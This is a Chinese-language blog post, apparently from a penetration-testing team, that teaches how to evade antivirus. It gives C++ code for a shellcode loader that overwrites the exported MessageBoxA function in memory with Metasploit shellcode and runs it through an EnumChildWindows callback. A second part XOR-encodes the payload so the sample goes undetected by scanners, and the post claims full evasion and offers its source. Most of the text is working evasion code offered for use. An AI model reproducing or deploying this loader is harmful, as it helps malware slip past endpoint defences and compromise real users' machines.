声明:蓝极战队公众号只创作原创技术文章,转载请注明出处!!!
在安全厂商的主动防御中,都会去检测可执行程序的行为,其中可执行程序调用的API尤为重点检测,比如一些VirutalAlloc/Ex的高危函数等等。
正常我们要写一个shellcode的加载器,无论如何也绕不开要开辟内存、载入shellcode然后call。以前的一些文章我们虽然都使用了加解密或者config文件或者远程加载等等方式来规避shellcode的检测,但是最终都是使用了正常的加载方式。这样很容易被安全软件的行为检测到高危的API函数从而被查杀。
本文的思路源于几天前我在验收战队内部开发的一款快速渗透工具时候无意中给小伙伴们说到了导出函数,然后展开了一下讨论。
(预告一下,蓝极战队漏洞库综合快速渗透工具即将发布,采用Client to Server的协作方式,使用了golang、c#、java、python等多门语言组合开发的跨平台快速渗透利器)
本次的免杀思路应运而生,目的是不主动去申请内存从而绕过安全软件的主动防御检测。原理如下:
1、利用windows动态链接库的导出函数开辟内存空间;
2、将其内存区域标记为可读可写;
3、将shellcode写入到函数的地址;
4、将该内存区域更改为可执行的内存。
总结一下,功能覆盖是指替换程序中函数或其他数据结构的内存的行为。函数覆盖是一种将原始函数的字节替换成新代码的技术,导致函数被替换或不再按照之前的功能进行工作,相反该函数会执行不同的逻辑,所以会消耗掉一个函数的地址。
在查找本地函数的地址的时候,我们需要知道检索哪个函数才不会导致我们的shellcode不受控制,或进程可能崩溃,如果从ntdll.dll,kernel32.dll,kernelbase.dll中导出的函数我们如果进行覆盖的话是有风险的,所以我们应该覆盖一些不常用的函数,比如MessageBoxA等等。
以下示例全部采用C++进行编写。
使用该导出函数,首先要使用LoadLibraryA方法载入user32.dll,然后通过GetProcAddress方法获取函数地址。
#define FunctionName "MessageBoxA"
PVOID pAddress = NULL;
HMODULE hmodule = NULL;
hmodule = LoadLibraryA("user32.dll");
if (hmodule == NULL) {
printf("获取模块失败");
return -1;
}
//获取函数地址
pAddress = GetProcAddress(hmodule, FunctionName);
if (pAddress == NULL) {
printf("获取函数失败!!!!");
return -1;
}
然后就要写我们最核心的方法了,直接写一个新的子程序方便后续调用。
使用VirtualProtect方法先将该函数内存修改为可读可写,然后使用memcpy方法将shellcode替换原来的导出函数二进制数据,最后再使用VirtualProtect方法将内存区域更改为可执行。
BOOL WirtePayload(PVOID Address, PBYTE shellcode, SIZE_T shellcodeSize) {
DWORD dOld = NULL;
if (!VirtualProtect(Address, shellcodeSize, PAGE_READWRITE, &dOld)) {
printf("更改失败");
return FALSE;
};
memcpy(Address, shellcode, shellcodeSize);
if (!VirtualProtect(Address, shellcodeSize, PAGE_EXECUTE_READWRITE, &dOld)) {
printf("更改失败");
return FALSE;
}
return TRUE;
}
最后使用EnumChildWindows来执行该导出函数。
EnumChildWindows(NULL, (WNDENUMPROC)pAddress, NULL);
整体思路已经整理清楚,创建一个main.cpp直接编译一个demo来测试一下,shellcode我直接使用msf生成的原生win64的shellcode。
整体程序12kb,PE64格式。
360主动扫描无任何问题。
直接运行成功执行了我们的shellcode然后上线,360主动防御也没任何反应。
再上传到virscan上面去检测一下,很遗憾,有几款杀软还是检测出来了msfshellcode。
报告链接:
https://www.virscan.org/report/7f3847a5a322deb8fae8e1e83ca657d1f7dea38b7d8a20169acf25413652aeb6
原因是因为我们直接使用了原始的msf的shellcode,这样很容易被检测出来,因为特征早就已经烂了。
所以结合我们前面的文章,可以有无数种拓展方式,解决这个小问题简直易如反掌。
这里可以使用加解密shellcode,也可以将shellcode伪装成图片或其他文件然后远程加载,思路多多,这里就不一一演示了,来个最简单的异或处理演示一波。
首先将shellcode异或一个0x15
int main() {
int i;
printf("en_shellcode is:\n");
for(i=0; i<=sizeof(shellcode); i++) {
shellcode[i]=shellcode[i] ^ 0x15;
printf("\\x%x",shellcode[i]);
}
}
然后将异或后的shellcode替换上面代码中的shellcode,再在memcpy之前异或一次0x15将shellcode还原回来即可。
int i;
for(i=0; i<=sizeof(shellcode); i++) {
shellcode[i]=shellcode[i] ^ 0x15;
}
编译后测试免杀及执行shellcode均没问题。继续再上传virscan看看。
至此完全免杀~~~~~~~~
***授人以鱼不如授人以渔***
更多功能大家可以自行拓展,比如调用config文件来读取shellcode或者远程加载亦或是各种加解密等等。
需要源码可以@我
main:[email protected]